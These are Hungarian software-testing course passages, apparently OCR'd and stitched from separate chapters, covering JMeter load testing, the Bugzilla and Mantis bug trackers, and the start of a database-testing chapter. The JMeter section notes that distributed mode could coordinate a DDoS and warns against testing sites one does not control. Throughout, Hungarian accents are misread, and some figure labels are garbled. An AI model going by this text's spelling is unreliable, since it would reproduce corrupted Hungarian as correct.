kért futtatasoknak csak az 50 szazalékat kuldje tovabb, vagy ugy, hogy csak
az elsé 10 kérést. A ,Throughput Controller” ugy is konfiguralhato, hogy a
,once Only Controller” mikddését utanozza. Beallithatd még ugy is, hogy a
.thread group” elemben lév6 Osszes szalat egylttesen korlatozza, vagy ugy,
hogy kulén-kulon. Ez a lehetdség a ,Per User” jeldlonégyzettel valaszthato.
Ha tehat ezt a lehet6séget valasztjuk, a ,controller” minden szalat egyenként
korlatoz, ellenkez6 esetben a korlatozasokat az egész ,thread group’-ra
egyuttesen alkalmazza.

A ,Recording Controller’ (Rogzités Vezeérld) teljesen eltéré6 mdédon hasznal-
hato, mint az eddigi ,controller” tipusok. A ,HTTP Proxy Server’ eszkdzzel
engedélyeztethetd a web bongész6 altal kiildott kérések rogzitése, majd azok
felhasznalasa egy teszt eset részeként A ,HTTP Proxy Server” a neki kuldott
adatok mentésére hasznalja a ,Recording Controller’-t.

Sampler - mintavételezd

Ahogy azt az elsé példank esetében mar emlitettik, a ,sampler” (Minta) el-
emek a szerverek szamara elklildott kéréseket generaljak. Az alabbiak a
gyakrabban hasznalt ,sampler” tipusok:

1. FTP Request

2. HTTP Request

12
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WebService Request (SOAP, XML-RPC)

Java Request

JDBC Request

JMS Request (Point to Point, Publisher és Subscriber)

N o o &~ ©

JUnit Request
8. LDAP Request

Lathato, hogy a JMeter nem csak web szerverek terheléses tesztelésére
hasznalhaté. Valtozatos teszt esetek készithetéek a fenti ,sampler” tipusok
felhasznalasaval. Bar valamennyi tipus nagyon érdekes, ez a fejezeta ,HTTP
Request sampler” elemmel foglalkozik részletesebben.

Config Element - konfiguracios elem

,config  Element’-ek (Konfiguraciés Beallitdsok) felhasznalasaval
lehetéséglnk nyilik ,sampler” eleme egész sorara valtozatos konfiguracios
beallitasokat alkalmazni globalisan. A ,HTTP Request” esetében négy kilon-
b6z6 ,Config Element” hasznalhaté:

1. ,HTTP Header Manager” (HTTP Fej Menedzser)

2. ,HTTP Authorization Manager” (HTTP Hitelesitési Menedzser)
3. ,HTTP Cookie Manager” (HTTP Siti Menedzser)

4. HTTP Request Defaults” (HTTP Kérések Alapbeallitasai)

Bar a ,thread group” elemekhez vagy egyéb ,sampler’-t tartalmazo ele-
mekhez a ,Config Element” elemek alapvetéen hozza vannak rendelve, a
globalis értékek fellldefinidlhatéak az egyes ,sampler” elemekhez kilén hoz-
zaadott ,Config Element” elemeken keresztil.

HTTP Header Manager: Néhany esetben, hogy valds képet kapjunk az al-
kalmazas teljesitményérdl, specialis HTTP ,header’ beallitas szlkseges.
Példaul, ha az alkalmazas valasza fligg a bongész6é tipusatol, mely a kérést
kildte, akkor sziikség van a User-Agent mezé beallitasara a teszt kérések
elkészitésekor. ,HTTP Header Manager’ hasznalataval a ,header’-ben Iévd
mez6k értéke minden egyes kérés esetén explicit beallithaté. A ,HTTP Head-
er Manager” elemet felvehetjik egy ,HTTP Request’ elem alarendeltjeként,
ekkor csak ezen kérések esetében lesz elkuldve az elkészitett ,header”. El-
lenben, ha egy ,thread group” elem alarendeltjeként vessziik fel, valamennyi,
a ,thread group” ala rendelt kérés esetén elkuldésre kerll a beallitott ,head-
er”. A konfiguralasa egyszerl, és nagyon hasonlit a ,HTTP Request’ elem
Name/Value paramétereinek beallitasahoz.

A ,HTTP Authorization Manager” olyan kéréseket kezel, melyek HTTP auten-
tikaciot igényelnek. A ,HTTP Header Manager’-hez hasonldan, kézvetlenil

13
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hozzaadhatjuk egy ,HTTP Request’ elemhez vagy egy ,thread group” el-
emhez. Konfiguralasa egyszerd, meg kell adni az URL-t, ahonnan a hite-
lesitési informacidkat megprébaljak elkildeni, valamint a felhasznaldnevet és
a jelszot.

Szamos modern web alkalmazas hasznal sttiket valamilyen médon. Ebben
az esetben a teszt esethez egy ,HTTP Cookie Manager’-t kell hozzaadni.
A ,HTTP Cookie Manager” elemnek megadhatd a sitik listaja, melyet min-
den kérés esetén elkild. llyen modon a ,sampler” képes utanozni egy olyan
bdngész6t, mely korabban mar meglatogatott egy web oldalt. Tovabba a
,HTTP Cookie Manager” képes utanozni a béngészék azon tulajdonsagat is,
hogy megkapjak, taroljak és ujrakildik a sitiket. Ennek megfeleléen, példaul,
ha egy slti dinamikusan hozza van rendelve minden egyes latogatéhoz,
akkor a ,HTTP Cookie Manager’ megkapja, majd minden megfelel6 késébbi
kérés esetén ujrakildi azt.

A jovébeli hatas mértékétdl fuggben, a ,HT TP Cookie Manager” hozzaadhato
sthread group” elemhez és kdzvetlentl egy ,HTTP Request” elemhez is.

Megjegyezzuk, hogy a ,HTTP Cookie Manager” a sutiket szal (felhasznald)
alapjan tarolja. Tekintstink egy 10 szalbdl all6 ,thread group” elemet. Ha min-
den szal egyedi sitit kap ugyanazon URL-hez, minden szal a sajat, egyedi
sutijét fogja ujrakuldeni. Ellenben, ha a sttit manualisan adjuk hozza a ,,Cook-
ie Manager” elemhez, minden szal azt az egy, k6zds sutit fogja ujrakildeni.
A JMeter késdbbi verzidiban javitasra fog kertlni ez a korlatozas.

A HTTP Request Defaults” elem kényelmes mechanizmust nyujt a gyakori
parameéterek értékeinek megosztasara egyedi ,HTTP Request Sampler” el-
emek kozott. A kérések gyakori paraméterei (ugy mint protocol, host, port,
path és name/value) egy helyen beallithatéak, és megoszthatéak a ,sampler”
elemek kozott.

Assertions - ellen6rzok

Hiaba valaszol egy alkalmazas villamgyorsan, ha a valasz, amit adott,
érvénytelen. ,Assertion” (Allitds) hasznalataval modunk nyilik a kérések erd-
meényének helyességét ellendrizni. Ezaltal a felhasznalok nem csak a szerv-
er valaszképesseégeben, de megbizhatésagaban is biztosak lehetnek. ,As-
sertion” elem ,Sampler” ala rendelt elemként hozhato létre (csak ugy, mint a
-,HATTP Request Sampler”). Egy ,Assertion” allitasokat tartalmaz, amelyeket
meg kell vizsgalnunk.

Példaul Iétrehozhatunk egy ,Assertion”-t, melyben roégzitjik, hogy a szervertdl
visszakapott valasznak tartalmaznia kell a Miskolc sz6t. Ezek utan, ha azon
-,HTTP Request” elem valasza, melyhez hozzaadtuk az ,Assertion”-t, nem
tartalmazza a Miskolc sz6t, akkor ,assertion failure” hibalzenetet kapunk.

Ezt ugy tehetjik meg, hogy az ,Add” gombra kattintva beirjuk a széveget a
megjelend Ures szévegmezdbbe. Ha a ,Contains” opcid van kivalasztva, akkor
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a valasz tartalmaban keresi (nem kell teljes azonossag), ha pedig a ,Matches”
opciot valasztjuk, akkor pedig teljes azonossag a sikeresseg feltétele.

Miutan elkészitettlink egy ,Assertion” elemet, szikségink van még egy ,As-
sertion Results listener’ elemre a sikeres és sikertelen valaszok megje-
lenitéséhez. Az ,Assertion Results listener” elemet a ,HTTP Request Sam-
pler’ elem szul6 ,thread group” csomdpontjahoz kell hozzaadni. Az ,,Assertion
Results listener” elem semmilyen konfiguraciét nem igényel. Az adott ,thread
group” elemhez tartozé minden ,Assertion” elem minden eredményét megje-
leniti. Ha az ellenérzés sikeres, a kérés forrasat (ebben az esetben az URL-
t) azonositd szbveget jelenit meg. Ellenkez6 esetben hibalzenet jelenik meg
a forras azonositoja alatt, melyben a hibas minta is megtalalhato.

Osszefoglalva tehat a ,Response Assertion” elem hasznalhaté arra, hogy
megvizsgaljunk egy valasz URL-t vagy térzset, hogy tartalmaz-e egy el6re
megadott mintat. Léteznek egyéb ,Assertion” tipusok is:

1. ,Duration Assertion” (Id6tartam Allitas): Ellenérzi, hogy a vélasz egy
megadott idétartamon belll érkezzen meg.

2. ,Size Assertion” (Méret Allitas): A valasz méretét ellenérzi bajtban, és
Osszehasonlitja egy megadott erteékkel (= | < | > | <= >=).

3. XML Assertion” (XML Allitas): Biztositja, hogy a valasz egy helyesen
formazott XML legyen. Nem ellenérzi, hogy a ,Document Type Defini-
tion” (DTD) vagy egyéb séma tipusok érvényesseégének is megfelel-e.

4. XML Schema Assertion” (XML séma ellenérzés): Egy XML séma alapjan
ellenérzi az XML-t.

Ezen ,Assertion” elemek a ,Response Assertion” elemhez hasonlé médon
konfiguralhatéak és hozza adhatéak egy teszt esethez.

http proxy server

-,HTTP Request’” elemek készitése egy id6 utan farasztéva valhat. A JMe-
ter altal nyujtott ,HTTP Proxy Server’ eszkdz segitségével nyomon kéve-
thetjik egy bongész6 tevékenységét, és a bongészb kérései alapjan ,HTTP
Request” elemeket generaltathatunk automatikusan. A proxy elfog minden
kérést, amit a bongész6 kuld (a JMeter, mint proxy-n keresztil), azokat JMe-
ter ,HTTP Request’” elemmé alakitja. Ha a teszt eset kérései elkésziltek,
kés6bb majd futtathatjuk és ekkor tovabbkildi a kéréseket a cél szerver felé.

El6szor hozza kell adnunk a ,HTTP Proxy Server” elemet a ,WorkBench” el-
emhez. Jobb egérgombbal kattintsunk a ,WorkBench” ikonjan, és valasszuk
az ,Add”, majd a ,Non-Test Elements”, végll pedig a ,HTTP Proxy Serv-
er” menupontokat. A proxy konfiguraciés képernydje a 20-11. abran lathaté.
Megjegyezzik, hogy a ,WorkBench” elem alatt egy ,Recording Controller”
is definialva van, mely ,Target Controller” elemként van bedllitva a ,HTTP
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Proxy Server’-nél. Mikor kérések futnak at a proxy szerveren, ezen ,Record-
ing Controller” elem alatt valnak lathatova a rekordok.

Ha a Tomcat és a JMeter ugyanazon a gépen futnak, és az alapértelmezés
szerinti 8080-as portot hasznaljak, akkor Utkdzni fognak. llyen gépeken a
JMeter proxy szerverének port szamat at kell allitani, egy a rendszer altal
nem hasznalt port szamra.

A ,Patterns to Include” és a ,Patterns to Exclude” szOvegmez&kben reg-
ularis kifejezések adhatéak meg, amelyek illeszkednek az URL-ekre, melyek
szamara a ,HTTP Request” elemeket generaltatjuk. Bar a béngészé teljes for-
galma athalad a ,HTTP Proxy” elemen, csak azon kéréseket alakitja ,HTTP
Request” elemmé, melyek illeszkednek valamelyik ,include” mintara, és nem
illeszkednek az ,exclude” mintakra.

Ha beallitottuk a proxy szervert, a ,Start” gombra kattintva indithatjuk el. Miv-
el a JMeter-t allitottuk be proxy szerverként, minden web szervernek kildott
kérés a JMeter proxy szerverén halad keresztll. Ezeket a kéréseket a JMe-
ter elfogja, ,HTTP Request’” elemmé alakitja éket, és a ,WorkBench” elem
ala felvett ,Recording Controller” elem ala helyezi el. Ezek az elemek utana
egyszerlen athuzhatoak a teszt eset ala.

Elosztott terheléses tesztelés

A JMeter rendelkezik egy olyan tulajdonsaggal, hogy a halézaton elosztott
JMeter példanyokat képes koordinalni, utasitani 6ket ugyanazon terheléses
teszt elvégzésére. Ezen funkcio eléréséhez, egy vagy tdbb JMeter példanyt
server médban kell elinditani. Egy JMeter kliens (ez a szabvanyos JMeter GUI
interfész) képes kapcsolodni egy szerver mddban futé JMeter példanyhoz, és
iranyitani azt. A JMeter kliens ,listener” eszkdze kapja meg a szerver moédban
futé JMeter példanyok altal generalt adatokat. Ennek a tulajdonsagnak két
lehetséges felhasznalasi tertlete van:

1. ,Scalability” (Skalazhatosag): Tébb okbdl kifolydlag el6fordulhat, hogy
egyetlen JMeter példany nem képes a web alkalmazast a veégletekig
elarasztani kérésekkel. Ezekben a ritka esetekben a JMeter elosztott tu-
lajdonsagat hasznalhatjuk fel, hogy igazan nagy terhelésnek vessuk ala
a web alkalmazast. Ez a tulajdonsag hasznalhaté még az ugy nevezett
,distributed denial of service” (DDoS) tamadas koordinalasara, amely jol
kihangsulyozza: Ne vess ala terheléses tesztelésnek olyan web oldalt,
melyet nem tartasz az iranyitasod alatt!

2. ,Server Proximity” (Szerver tavolsag): Képzeljuk el, hogy Budapesten llve
szeretnénk terheléses tesztet futtatni egy Japan szerveren. Nehéz bar-
milyen mértékben elfogadni ezen teszt eredményét, mivel a halézat és
a csomagvesztés kritikus szerepet jatszhatnak a folyamatban — hacsak
elészdr nem pont ennek a tesztelése a célunk. Ebben az esetben lehet-
séges, hogy a tesztelni kivant szerverhez fizikailag kézel fekvé szerverre
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telepitstiik a JMeter szervert, és azutan ezt a szervert hasznaljuk a teszt
tavoli elvégzéséhez.

A 20-12. abran megfigyelhetjik, ahogy egy JMeter kliens tébb JMeter sz-
ervert iranyit.

20-12. abra: Egy JMeter kliens t6bb JMeter szervert képes iranyitani.

A kovetkezbkben Iépésrdl épésre bemutatjuk, hogyan allithatjuk be és fut-
tathatunk teszteket a JMeter szervert hasznalva:

1. Telepitsik a standard JMeter disztribucidét a megfelelé6 JMeter szerver
gepen.

2. Minden iranyitani kivant JMeter példany esetében inditsuk el a szerv-
er folyamatot a JMeter bin kényvtaraban talalhaté jmeter-server.bat vagy
jmeter-server shell szkript futtatasaval (operacios rendszertél fuggden).
Windows alatt néha megjelenik a ,Windows cannot find rmiregistry.” hi-
balizenet. Ebben az esetben a PATH kérnyezeti valtozéhoz adjuk hozza:
%JAVA_HOME%/bin.

3. A kliens gépen szerkesztésre nyissuk meg a JMeter bin kdnyvtaraban
talalhato jmeter.properties fajlt.

4. A remote_hosts tulajdonsagot vegylk ki megjegyzésbdl és valtoztassuk
meg ugy, hogy vesszdvel elvalasztva legyenek felsorolva a JMeter szerver
gépek. Ez lehet egy feloldhaté DNS név vagy IP szam.

5. Inditsuk el a JMeter klienst a jmeter.bat vagy jmeter shell szkript futtatasa-
val.

6. Nyissunk meg egy teszt esetet, vagy készitslink egy ujat.

7. A ,Run” mentlben két Uj lehetéség jelenik meg: ,Remote Start” és ,Remote
Stop”. Ezekkel a lehetéségekkel a remote_hosts tulajdonsagnal felsorolt
szerverek mindegyike ledllithato vagy elindithato.

8. Ezek utan ugyanugy hasznalhatjuk a JMeter felhasznaldi fellletét, mint
korabban.

Teszt eredmények értelmezeése

Sok adatot generalni egy dolog, értelmezni azokat egy masik. Az eredmények
elemzésének két alapvetéd modja van:

1. Teljesitmény célok kitlizése és azok tesztelése
2. A skalazhatosag korlatainak megallapitasa

Célok kitlizése és tesztelése
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Web alkalmazas készitésének egy kuldonésen hatékony mddja, ha el6szoér
a teljesitmény célokat tizzuk ki. Ezek a célok tartalmazhatjak a kévetkez6
metrikak valamelyikét:

1. Mennyi az atlagos varakozasi id6, amig egy kérés teljesul?
2. Mennyi a leghosszabb varakozasi id6?
3. Mennyi konkurens kérés utan kdvetkezik be hiba?

Ha mar egyszer sikertult hasonl6 célokat megfogalmaznunk, kénnyen megal-
lapithatjuk, hogy a tesztelt web alkalmazas megfelel-e ezeknek. Mind az ,Ag-
gregate Report”, mind a ,,Graph Results listener” kivaléan megfelel erre a cél-
ra.

Tételezzik fel a kovetkezd szituaciét: egy egyszerl web oldalnak o6t
konkurens felhasznalot kell tudnia kezelni, ahol a konkurens azt jelenti, hogy
a felhasznalok nem tébb, mint egy masodpercenként kildenek egy kérést.
Minden felhasznal6 atlag 250 ezred masodpercen belll kapjon valaszt, és
3 masodperc maximalis varakozasi id6 meg elfogadhatd. A szituacio foly-
tatasakeént tételezzik fel, hogy terheléses tesztelést végeztink az alkalmaza-
son a fenti célokban megfogalmazott kritériumokra nézve.

A skalazhatésag korlatainak megallapitasa

Néha a teljesitmény célok nem érdekesek, és az egyetlen motivalo tényezd,
meghatarozni azt a pontot, ahol a web alkalmazas ésszeomlik. llyenkor jon
jol a JMeter, kilondésen az elosztott tesztel tulajdonsaga. Fontos megje-
gyeznlnk, hogy a stressz tesztet ugy kell elkészitenlink, hogy a valé vilag
szituacioit reprezentalja. Nem tul hasznos példaul egy olyan informacio, hogy
ha 10,000 felhasznalé minden 10 ezred masodpercben konkurens kéréseket
kidld, akkor a web alkalmazas meghibasodik, mivel ilyen szituacié nem tul
gyakran fog el6fordulni a valé vilagban. Sokkal hasznosabb tudnunk példaul,
hogy ha 500 felhasznal6 egyidejuleg kild kéréseket (minden kérés kozott 3
masodperc szlinettel), akkor a web alkalmazas a valaszok 4 szazalékaban
hibat okoz.

Stressz teszt esetén az ,Aggregate Report” nagyon jol hasznalhaté a hibak
aranyanak abrazolasahoz, és beallithatd, hogy tovabbi elemzés céljabol min-
den jelentkezd hibat naplézzon.

Tovabbi elemzés

A JMeter természetesen képes a teljesitmény adatokat elmenteni, hogy
mas alkalmazasokban elemezhessik azokat. Habar jelenleg nincs (kozis-
mert) specialisan a JMeter-hez tervezett teljesitmény elemzé eszkéz a koz-
tudatban, a népszerl programok, ugy mint Microsoft Excel, képesek im-
portalni a JMeter adatait, és mindenféle hasznos jelentést és grafikont
késziteni beldlik. Alapértelmezésben a JMeter mind XML, mind ,Comma
Separated Value” (CSV) formatumban el tudja menteni az adatokat. Ez a
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jmeter.properties fajlban a jmeter.save.saveservice.output_format tulajdon-
sag xml vagy csv értékre valtoztatasaval allithatd be. A jmeter.properties fajl
a JMeter telepitési konyvtaraban a bin alkdnyvtarban talalhatoé.

Mi a teendo a teljesitmény tesztelése utan

A kezdeti teljesitmény tesztek elvégzése utan, ha web alkalmazasunkat
nagyon lassunak talaltuk, vagy az nem képes megbirkézni a felhasznalok
tomegével, kisértést érezhetiink, hogy megoldjuk a problémat, a lassunak
tiné részek ujbdli elkészitésével, vagy tobb hardver hozzaadasaval, és igy
tovabb. Ne tegylk!

Fontos, hogy beazonositsuk az okat, amiért az alkalmazas ilyen lassu, és
hogy megtalaljuk a szik keresztmetszetet. Ez egy Osszetett feladat, ame-
ly k6zremUkddést igényel mind a rendszer adminisztrator, mind a web alka-
Imazas fejlesztéjeének részerdl.

Néhany jo tanacs, melynek segitségével beazonosithatjuk a teljesitmény
probléma forrasat:

1. Figyeljuk a rendszer informaciokat, ugy mint a szerver CPU és memoria
felhasznalasat. Linux alatt a ,top”, ,iostat” és ,vmstat” eszk6zdk, Windows
alatt a ,Task Manager” és a ,PerfMon” lehetnek segitségunkre.

2. Az adatbazishoz kapcsolod6 feladatok gyakran alkotjak a teljesit-
mény szlk keresztmetszetét. Hasznaljuk az adatbazisunk gyartéja al-
tal nyujtott diagnosztikai eszk6zdket. A ,P6Spy” (www.p6spy.com [http://
www.p6spy.com]) egy nyilt forraskodu eszkdz erre a célra.

3. Hangoljuk a gyenge teljesitmény terliletek megtalalasara a web alka-
Imazasunk kodjat, ami azt jelenti, hogy olyan kdéddal bévitjik ki alka-
Imazasunkat, mely figyeli és rogziti bizonyos feladatok elvégzéséhez szik-
séges idémennyiseget. Ez tipikusan olyan utasitasok formajaban tortéen-
het, melyek a mlveletek elvégzéséhez szukséges id6t naplozzak. A 19.
fejezetben lathattuk, hogy hogyan adhatunk hozza napl6zé utasitasokat
web alkalmazasunkhoz.

4. Hasznaljunk profil készit6 eszkdzoket web alkalmazasunk elemzésére,
a terhelés alatt megmutatkozo viselkedés grafikus megjelenitésének
elkészitésére, és az egyes modulok hivasi grafikonjanak abrazolasara.
A hivasi grafikon egy olyan diagram, amely megmutatja, hogy melyik
rendszer modul melyik masik modult hivja. Néhany népszeri web al-
kalmazas profilt készit6 eszkdz, beleértve a kereskedelmieket is, a
~JProbe” (www.quest.com/jprobe/), az ,Optimizelt” (www.borland.com/op-
timizeit/) és az ,Eclipse” ingyenes ,Test and Performance Tools Plat-
form” (www.eclipse.org/tptp/) eszkdze.

Ezen eszkdzok hasznalatanak célja, hogy meghatarozzuk vele az alkalmaza-
sunk teljesitményének szik keresztmetszetét. Ha egyszer megértettik, mik
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alkotjak a szlik keresztmetszetet, akkor elkezdhetlink specialisan foglalkozni
azokkal.

Osszefoglalas

A teljesitmény tesztelés egy fontos, de gyakran elhanyagolt tevékenység.
Amellett, hogy skalazhatova tehetjuk az alkalmazasunkat, segithet déntést
hozni a rendszer felépitését illetben, és megerdsitést nyerhetliink korabbi
dontéseinkkel kapcsolatban. Ebben a fejezetben a kdvetkezd témakoroket
tekintettlk at:

1.

Mindenekel6tt el kell dontenink, mit is akarunk mérni, és létre kell
hoznunk egy teszt esetet. A teszt esetet a kivant teljesitménynek
megfeleléen (mennyi konkurens felhasznal6é tamogatott, elvart valaszidé,
elvart ateresztbképesséqg) készitsuk el.

. A teszt esetnek tartalmaznia kell a szimulalni kivant felhasznaloéi tran-

zakciokat, a terhelést, melynek alavetjik az alkalmazast, és a tesztelés
kornyezetét.

. A skalazhatésag (a rendszer azon képessége, mellyel a megndvekedett

terhelést kezeli teljesitmény és megbizhatéosag csokkenés nélkil) tdbb
tényez6tél figg. Tomcat rendszer esetében ilyen tényezé a szerver hard-
ver, a szoftver konfiguracio és a telepités architekturaja.

. A JMeter a Jakarta projekt teljes funkcionalitasu, nyilt forraskodu tesztel6-

je. Kulénbozé JMeter terheléses teszteléshez hasznalhat6 technika kerdlt
bemutatasra.

. A teljesitmény tesztelésének befejezése utan, a teszt eredmények

segitenek felfedni a gyenge teljesitmény okat. Ezt még az elétt kell
megtennink, miel6tt barmilyen valtoztatast hajtanank végre a teljesitmény
ndvelésének céljabol.
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9 Hibakoveto6 rendszerek

Egy szoftver készitése sordn és ataddsa utan is merulhetek fel problémak a mikddéssel
kapcsolatban. A szoftver készitése sordn és gyakran az atadas utdn is tesztel6k keresnek
hibdkat, illetve az atadas utdn a felhasznalék futhatnak be egy-egy hibaba. Ezeket a hibakat
javitani kell, amihez a programozdknak értesilnitik kell a hibdkrél. A hiba felfedezGje és a
fejleszt6k kozott a hibakoveté (bug tracking) rendszerek teremtik meg a kapcsolatot. A
hibakovet6 rendszereket néha hivjak hibabejelenté rendszereknek is. Hibakdvet6 rendszer
példaul:

A alIRA,

A aBugTracker.NET,
A a Mantis,

A és aBugzillais.

Ebben a jegyzetben a Bugzilla és a Mantis rendszert mutatjuk be.

9.1 Bugzilla

A hibakovet6 rendszerek legfontosabb tulajdonsaga, hogy milyen életutja lehet a hibanak a
rendszeren belil. Ezt a hibakdvetd rendszer allapot gépe irja le. Az alabbi abran a Bugzilla
allapot gépét lathatjuk:
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Uya megnytat
hilsa

A hiba legegyszer(ibb életutja a kovetkez6:

A A hibat bejelenti a tesztel6 vagy a felhasznalé. Fontos, hogy minél részletesebb
legyen a hiba leirasa, hogy reprodukalhaté legyen. Ekkor a hiba Uj dllapotu lesz.

A Az (] hibakrol értesitést kap a vezetd fejleszt6, aki a hibat hozzarendeli az egyik
fejleszt6hoz, altaldban ahhoz, aki a hibas funkciot fejlesztette. Ekkor a hiba
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Hozzarendelt allapotba kerdl.

A Afejleszt6 a hozzarendelt hibat megprébalja reprodukalni. Ha ez sikeril és megtaldlja
a hiba okat is, akkor javitja a hibat. A javitast feltolti a verzidkdvetd rendszerbe, majd
jelzi, hogy megoldotta a hibat. llyenkor érdemes egy regresszids tesztet csindlni, hogy
meggydz6djlink, hogy a javitds nem okoz-e mas hibakat. Ekkor a hiba Megoldott
allapotu lesz.

A A megoldott hiba visszakeriil az azt bejelent6 tesztel6hoz, vagy esetleg egy masikhoz.
A tesztel6 ellendrzi, hogy tényleg megoldddott a hiba. Ha igen, akkor véget ér a hiba
életutja, az allapota lezart lesz.

Az optimalis lefutastdl sok helyen eltérhetlink. Példaul kideriil, hogy a hiba nem
reprodukalhaté, vagy a megoldott hibardl kidertlhet, hogy még mindig fennall. Ezeket a
lehet&ségeket mind lefedi a fenti allapotgép.

9.2 Mantis

Ebben a fejezetben a Mantis (magyarul imadkozé saska) ingyenes hibakovetést tdmogato
rendszert mutatjuk be. Az aldbbi dbra a Mantis allapot gépét szemlélteti. Itt [athatjuk, hogy
az egyes allapotokbdl, hogyan jut 4t a masikba a hiba.
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Uj
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Tekintslik at, hogyan halad a folyamat egy hiba bejelentésétSl annak lezarasaig. ElGszor is a
rendszerhez hozzaféréssel kell rendelkeznie a bejelentének. Viszonylag egyszer(, ha belsé
tesztelésrdl van sz, mert ott tobbnyire adott a jogosultsag a hibabejelentésre. Szarmazhat a
bejelentés a megrendel6tdl is, aki kapott tesztelésre egy korai verziét, vagy ami rosszabb,
mar rendelkezik egy kész, kiadott verzidval. Elképzelhet6 olyan bejelentés is, amikor mi
vesszik fel a rendszerbe a hibat, az ligyfél telefonos elmondasa, vagy levele alapjan. A hiba
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bejelent6je a rendszerbe bejelentkezve lathatja minimum a sajat maga bejelentette hibakat,
allapotukat és a hozza flizott megjegyzéseket, valamint 6 maga is tovabbi informacidkat
flizhet a bejelentéshez, s6t, erre gyakran meg is kérik a hibajavitdk a bejelent6t.

A Mantis rendszerben vazlatosan az alabbi moédon torténik a hibakezelés:

A A hibat bejelentik. Ezt a hibabejelentést a hibds szoftverhez rendeljik (hiszen egy
hibakovet6 rendszer tobb szoftver hibait, illetve egy szoftver tobb verzidjanak hibait
is tartalmazhatja), ellathatjuk kategoriaval, reprodukalhatosaggal és
stlyossaggal. Kezdetben allapota Uj lesz, ami a késébbiekben folyamatosan valtozik,
a hiba javitasa soran.

A Kategoéridkat magunk adhatunk meg a tesztelt rendszer igényei szerint. A
kés6bbiekben, a hibakat bejelentd felhasznaldk, ezekbe a kategéridkba sorolhatjak a
hibakat.

A A bejelentésnek lehet reprodukalhatésaga:
A Mindig: Leirasaban megadott |épéseket megismételve, a hiba mindig jelentkezik.
A Néha: Nem minden esetben jelentkezik. Ez tdbbszall programokra jellemzé.

A Véletlenszer(: Véletlenszerlen jelentkezik. Ebben az esetben nagyon fontos,
hogy megadjuk a hiba észlelésének pontos id6pontjat, hogy a fejleszt6k a
rendszer napld dllomanyban visszakereshessék a hiba el6tti allapotot, amibdl
rekonstrudlhato a hibat kivaltdé események sora.

A Nem ismételhet6: Nem tudtuk megismételni. Ebben az esetben is nagyon fontos,
hogy megadjuk a hiba észlelésének pontos id6pontjat.

A A bejelentésnek lehet sulyossaga:
A Funkcid: Funkcio hibas m(ikodése.
A Nyilvanvalé: Megjelenités, rossz szovegigazitas, egyéb szoftver ergondmiai hiba.
A Szoveg: Eliras, helyesirasi hiba.

A Nem sulyos: Kisebb, altaldban funkcionalis hiba, aminek Iétezik egyszer(
megkerilé megoldasa.

A Sulyos: Valamely funkcio teljesen hibasan muikodik.
A Osszeomlas: A hiba a rendszer 6sszeomladsat eredményezi.

A Akadaly: Vagy a fejlesztés, vagy a tesztelés nem folytathatd, amig ez a hiba
fennall.

A A bejelentés allapota lehet:
A Uj: Olyan bejelentés, amihez még senki sem nyult.

A Elismert: A vezetd fejleszts elismeri a hiba létét, de még nem osztotta ki, mert
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példaul nincs elég informacié a hibarél.

A Visszajelezés: A hiba leirasat pontositani kell, a fejleszt6k tovabbi informaciot

kérnek a hibaradl.
A Hozzarendelt: A hibahoz fejleszté lett rendelve.
A Megoldott: Megoldas sziiletett a bejelentésre.

A Lezart: A bejelentés lezarasra keriilt.
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Loztk) Takdran
Hetakinids efloge T T T T
U bejutanti | hahw e Shap e b
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A projekt felel&se figyeli az érkez6 bejelentéseket és a megfelel§ fejleszt6hoz rendeli a hibat.
Ez ugy is torténhet, hogy kiadja egy-két fejlesztének, hogy nézzék at a bejelentéseket és
kezdjék meg a hibak javitasat. Egy hibat altaldaban hozza lehet rendelni mashoz és

magunkhoz is.
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A hiba bejelentéje ezutdn megnézheti, hogy hol tart a javitas. Lathatja, hogy a hiba az Uj
allapotbdl, milyen allapotba keriilt 4t. Ha mar kiosztva allapotu, akkor jogaitél fliggben
lathatja azt is, hogy kihez kerllt a hiba, és milyen megjegyzéseket fliztek eddig hozza.
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A javitassal megbizott programozé és a hiba bejelent6je gyakran nem ugyanazt a szaknyelvet
beszélik. Ebbél aztan rengeteg félreértés adddik. A programozd nem érti a bejelentést, a
bejelentS nem érti, hogy mit nem ért a programozd. Igy elég hosszadalmas parbeszéd
alakulhat ki a hibakezel6 rendszer segitségével, dm végiil tisztazddik a helyzet, és vagy
lezarjak a hibat azzal, hogy ez nem hiba, csak az Gigyfél nem olvasta el a kézikbnyvet (nagyon
ritkan olvassa el), vagy pedig elkezdi a programozo a javitast.

A Ha kész a javitas, legalabbis amikor a programozo ezt gondolja, akkor a ,tesztelésre
var” statusszal latja el a hibat.

A Ezutan tobben is tesztelhetik a javitast. Erre szlikség is lehet, mivel a tobb szem
tobbet Iat elv itt fokozottan érvényesiil, s6t mi tobb, a hiba kijavitasaval esetleg mas,
rejtett hibakat okozhattunk, ami ugyan eléggé amatér eset (azt mutatja, hogy nem
csinaltunk regresszids tesztet), de nem kizart.
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A Ha sikeres a tesztelés, akkor a hibat kijavitottnak jel6lhetjlik, és ha a bejelentd is
megelégedett a megoldassal, akkor azt a hibabejelentés, megoldds mezéje
segitségével kozli.
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A fenti médszerrel természetesen nem csak bejelentett hibdkat lehet nyomon kovetni,
hanem akar Uj igények megvaldsitasat, vagy akar egész termékek gyartasat is kovethetjik
vele, ezért hivjdk ezeket a rendszereket munkakovetd (issue tracking) rendszereknek is.

Utdbb minden menedzser almat is ki lehet nyerni a rendszerbdél, azaz mindenféle
grafikonokat és kimutatasokat. Ezen kinyerhet6 adatok kozott talalhatunk fontosakat is, mint
példdul, hogy mennyit dolgoztunk egy munkan. Ez segit a tovdbbiakban megbecsiilni, hogy
bizonyos tipusi munkakat menyi id6 alatt lehet elvégezni.
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1. fejezet - Adatbazisok tesztelése

Adatbazis tesztelés sajatossagai

Az adatbazis rendszer kozponti eleme a perzisztens adattarolason alapuld szoftver
rendszereknek. Az adatok rendszerint egy logikailag egységesnek tekinthetd adatbazisban
tarolodnak, ahol a perzisztencia mellett szamos tovabbi szolgaltatast is rendelkezésre all.
Az adatbazisban tarolt adatokat az adatbazis kezel® rendszerek (DBMS) feliigyelik, a DBMS
vezérli az adatbazishoz t6téné kapcsolodasokat és adatml(iveleteket. Az adatbazis rendszer
hasznalata a kdvetkez6 elénydket biztositja a felhasznalok, a kliens alkalmazasok szamara:

 persziztencia

+ centralizaltsag

+ szabalyozott redundancia

+ integritasi elemek érvényesitése

+ mez8szint(i adatkezelési fliggetkenség
» adathozzaférés magas szintl védelme
* rugalmas séma kialakitas

+ miuiveleti elemek, eljarasok és figgvények adatbazis objektumként térténd tarolasa és
végrehajtasa

+ a statikus adatok mellett aktiv szabalyok tamogatasa
